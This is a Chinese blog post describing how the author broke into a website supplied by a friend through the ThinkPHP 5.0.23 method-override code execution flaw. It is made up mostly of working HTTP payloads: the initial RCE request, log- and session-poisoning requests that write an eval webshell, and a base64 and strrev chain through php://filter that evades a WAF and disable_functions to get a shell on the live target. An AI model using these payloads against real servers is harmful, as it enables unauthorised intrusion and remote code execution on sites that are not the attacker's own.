zoukankan      html  css  js  c++  java
  • 记一次有趣的tp5代码执行

    0x00 前言

    朋友之前给了个站,拿了很久终于拿下,简单记录一下。

    0x01 基础信息

    • 漏洞点:tp 5 method 代码执行,payload如下

      POST /?s=captcha
      
      _method=__construct&method=get&filter[]=assert&server[]=1&get[]=1
      
    • 无回显,根据payload 成功判断目标thinkphp 版本应为5.0.23

    • 有waf,waf拦截了以下内容

      php标记:
      <?php
      <?=
      <?
      
      php 函数:
      base64_decode
      file_get_contents
      convert_uuencode
      
      关键字:
      php://
      
    • linux

    • disable_function禁用了以下函数

      passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server
      
    • php 7.1.7 (虽然assert 函数不在disable_function中,但已经无法用call_user_func回调调用)

    0x02 突破

    现在tp 5 method代码执行开发出来的一些思路,不外乎如下两种:

    1,写日志,包含日志 getshell 。payload如下:

    写shell进日志
    _method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['x'])?>
    
    通过日志包含getshell
    _method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../data/runtime/log/201901/21.log&x=phpinfo();
    

    2,写session,包含session getshell。payload如下:

    写shell进session
    POST /?s=captcha HTTP/1.1
    Cookie: PHPSESSID=kking
    
    
    _method=__construct&filter[]=thinkSession::set&method=get&get[]=<?php eval($_POST['x'])?>&server[]=1
    
    包含session getshell
    POST /?s=captcha
    
    _method=__construct&method=get&filter[]=think\__include_file&get[]=/tmp/sess_kking&server[]=1
    

    而这两种方式在这里都不可用,因为waf对<?php等关键字进行了拦截,还有其他办法吗?

    base64编码与php://filter伪协议

    倘若能够对关键字进行变形或者编码就好了,比如base64编码:

    假如我们的session 文件为/tmp/sess_kking,内容如下

    PD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Oz8+ 
    <?php @eval($_GET['r']);;?>
    

    因为最终的利用是通过inlcude方法进行包含,其实很容易想到可以利用php://filter/read=convert.base64-decode/resource=/tmp/sess_kking的方式进行解码

    最终执行类似如下:

    include('php://filter/read=convert.base64-decode/resource=/tmp/sess_kking');
    

    但是session里面是会有其他字符的

    如何让php://filter正确的解码呢?
    p神的谈一谈php://filter的妙用文章有谈到如何巧妙用php://filterbase64编码绕过死亡exit

    那么这里也一样,我们只要构造合适的字符,使得我们的webshell能够正确被base64解码即可。

    本地测试

    第一步,设置session

    POST /?s=captcha
    
    _method=__construct&filter[]=thinkSession::set&method=get&get[]=adPD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Oz8%2bab&server[]=1
    

    (注意:这里的+号需要用urlencode编码为%2b,不然会在写入session的时候被urldecode为空格,导致编码解码失败)。

    疑问点1:为什么不用PD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Pz4= (<?php @eval($_GET['r']);?>)而是PD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Oz8+ (<?php @eval($_GET['r']);;?>) 呢,

    答:是因为直接使用前者无论怎么拼凑字符,都没法正常解码。

    疑问点2:为什么payload 前后会有两个ab

    答:是为了让shell payload 的前后两串字符串满足base64解码的长度,使其能正常解码。

    第二步,包含,成功执行代码:

    本地测试如此,但是在目标测试会发现执行不了,因为我们的payload使用了php://filter的协议包含了php://关键字

    怎么让才能让其没有关键字呢?

    tp 5 method代码执行的细节

    让我们仔细观察代码执行的Request.phpfilterValue方法是如何执行代码的。

    我们注意到filter其实是可以传递多个的,同时参数为参数引用。

    那么其实我们就可以传递多个filter来对value进行多次传递处理。如先base64_decode后将解码后的值传递给include进行包含。

    但在线上这个waf是对base64_decode这个函数进行了过滤的,经过测试发现可以使用strrev反转函数突破。考虑到waf的问题,我们使用的shell payload加多一层base64编码。

    同样道理这里的payload为什么要多几个分号就不需要再解释了

    回到我们的getshell步骤,在目标上执行

    1,设置session

    POST /?s=captcha
    Cookie: PHPSESSID=kktest
    
    _method=__construct&filter[]=thinkSession::set&method=get&get[]=abPD9waHAgQGV2YWwoYmFzZTY0X2RlY29kZSgkX0dFVFsnciddKSk7Oz8%2bab&server[]=1
    

    (payload前后两个ab同样是为了base64解码凑字符的原因)

    2,文件包含

    POST /?s=captcha&r=cGhwaW5mbygpOw==
    
    _method=__construct&filter[]=strrev&filter[]=think\__include_file&method=get&server[]=1&get[]=tsetkk_sses/pmt/=ecruoser/edoced-46esab.trevnoc=daer/retlif//:php
    

    最终成功绕过防火墙getshell

    0x03 总结

    总的来说挺有趣的,也花费了好几个晚上,最终成功getshell也是非常的爽。(好在没放弃:)

  • 相关阅读:
    [kuangbin带你飞]专题十六 KMP & 扩展KMP & ManacherK
    [kuangbin带你飞]专题十六 KMP & 扩展KMP & Manacher J
    [kuangbin带你飞]专题十六 KMP & 扩展KMP & Manacher I
    pat 1065 A+B and C (64bit)(20 分)(大数, Java)
    pat 1069 The Black Hole of Numbers(20 分)
    pat 1077 Kuchiguse(20 分) (字典树)
    pat 1084 Broken Keyboard(20 分)
    pat 1092 To Buy or Not to Buy(20 分)
    pat 1046 Shortest Distance(20 分) (线段树)
    pat 1042 Shuffling Machine(20 分)
  • 原文地址:https://www.cnblogs.com/r00tuser/p/11410157.html
Copyright © 2011-2022 走看看